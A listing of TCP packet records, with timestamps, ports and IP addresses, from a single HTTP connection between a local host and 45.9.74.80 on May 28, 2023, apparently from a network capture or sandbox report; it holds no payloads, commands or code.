May 28, 2023 10:42:42.990173101 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.990186930 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.990245104 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.990292072 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.990305901 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.990351915 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.990400076 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.990411043 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.990456104 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.990519047 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.990521908 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.990569115 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.990612984 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.990659952 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.990673065 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.990724087 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.990735054 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.990782976 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.990813017 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.990838051 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.990881920 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.990928888 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.990978003 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.991028070 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.991040945 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.991106987 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.991115093 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.991158962 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.991205931 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.991259098 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.991287947 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.991312027 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.991378069 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.991381884 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.991429090 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.991472006 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.991487026 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.991533995 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.991578102 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.991627932 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.991636992 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.991686106 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.991751909 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.991764069 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.991764069 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.991806030 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.991854906 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.991903067 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.991928101 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.991955996 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.992003918 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.992017031 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.992063046 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.992110014 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.992177010 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.992191076 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.992234945 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.992424965 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.017050982 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.017122984 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.017172098 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.017277002 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.017340899 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.017354012 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.017354012 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.017393112 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.017440081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.017471075 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.017518997 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.017575026 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.017579079 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.017637968 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.017641068 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.017698050 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.017745018 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.017771006 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.017793894 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.017859936 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.017874956 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.017906904 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.017921925 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.017970085 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.018028021 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.018089056 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.018089056 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.018148899 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.018193007 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.018208027 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.018255949 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.018317938 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.018369913 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.018369913 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.018378019 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.018425941 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.018470049 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.018531084 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.018589973 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.018626928 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.018626928 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.018636942 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.018702984 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.018754005 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.018769979 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.018800974 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.018860102 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.018863916 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.018904924 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.018958092 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.018965006 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.019011974 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.019058943 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.019069910 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.019117117 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.019182920 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.019195080 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.019241095 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.019257069 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.019304991 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.019356012 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.019365072 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.019428968 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.019479036 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.019490004 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.019551039 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.019591093 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.019608021 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.019654989 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.019717932 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.019731045 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.019773960 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.019810915 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.019834042 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.019877911 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.019927025 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.019938946 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.019984961 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.020030975 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.020044088 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.020092964 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.020138025 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.020150900 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.020198107 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.020245075 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.020256996 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.020334959 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.020394087 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.020394087 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.020443916 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.020488024 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.020533085 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.020581007 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.020593882 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.020639896 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.020684958 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.020730019 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.020766020 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.020787954 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.020833015 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.020893097 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.020895004 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.020944118 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.020989895 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.021003008 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.021060944 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.021105051 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.021121025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.021164894 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.021229982 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.021245003 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.021284103 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.021330118 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.021343946 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.021390915 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.021491051 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.021512032 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.021575928 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.021631002 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.021631956 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.021682978 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.021745920 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.021760941 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.021800995 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.021847010 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.021888018 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.021893024 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.021948099 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.021966934 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.022002935 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.022027016 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.022056103 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.022103071 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.022162914 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.022176981 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.022222996 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.022259951 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.022279978 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.022330999 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.022377014 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.022423983 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.022437096 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.022509098 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.022511959 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.022557974 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.022604942 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.022665977 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.022665977 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.022689104 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.022720098 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.022766113 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.022833109 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.022835970 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.022881985 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.022941113 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.022989035 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.023000002 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.023047924 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.023060083 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.023122072 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.023169041 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.023180962 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.023227930 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.023288965 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.023297071 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.023401976 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.048062086 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.048161030 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.048217058 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.048310041 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.048316956 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.048316956 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.048316956 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.048366070 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.048413992 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.048429012 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.048468113 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.048490047 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.048510075 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.048544884 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.048602104 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.048609972 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.048615932 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.048677921 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.048693895 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.048733950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.048784971 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.048834085 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.048846006 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.048868895 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.048902035 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.048954010 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.048966885 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.048969030 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.049016953 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.049060106 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.049074888 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.049118042 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.049133062 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.049197912 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.049204111 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.049252033 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.049304008 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.049343109 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.049343109 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.049357891 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.049406052 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.049416065 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.049479961 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.049489021 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.049539089 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.049585104 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.049598932 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.049650908 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.049665928 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.049731970 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.049765110 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.049778938 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.049820900 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.049839020 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.049884081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.049922943 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.049942017 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.049988031 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.050028086 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.050045967 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.050091028 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.050132036 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.050148964 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.050194025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.050234079 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.050255060 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.050296068 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.050312996 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.050373077 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.050396919 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.050396919 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.050431013 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.050476074 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.050488949 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.050553083 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.050564051 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.050606012 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.050649881 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.050668001 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.050683975 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.050724030 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.050762892 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.050777912 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.050789118 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.050837040 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.050879955 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.050896883 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.050942898 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.050959110 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.051018000 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.051026106 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.051047087 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.051103115 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.051161051 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.051224947 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.051229000 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.051280975 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.051343918 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.051353931 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.051405907 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.051465034 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.051482916 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.051506996 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.051526070 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.051590919 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.051600933 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.051640987 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.051690102 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.051733971 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.051778078 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.051825047 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.051836967 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.051868916 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.051892996 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.051923037 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.051959038 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.051960945 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.052026033 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.052093029 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.052109003 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.052109003 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.052150965 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.052225113 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.052248001 CEST	49704	80	192.168.2.3	45.9.74.80
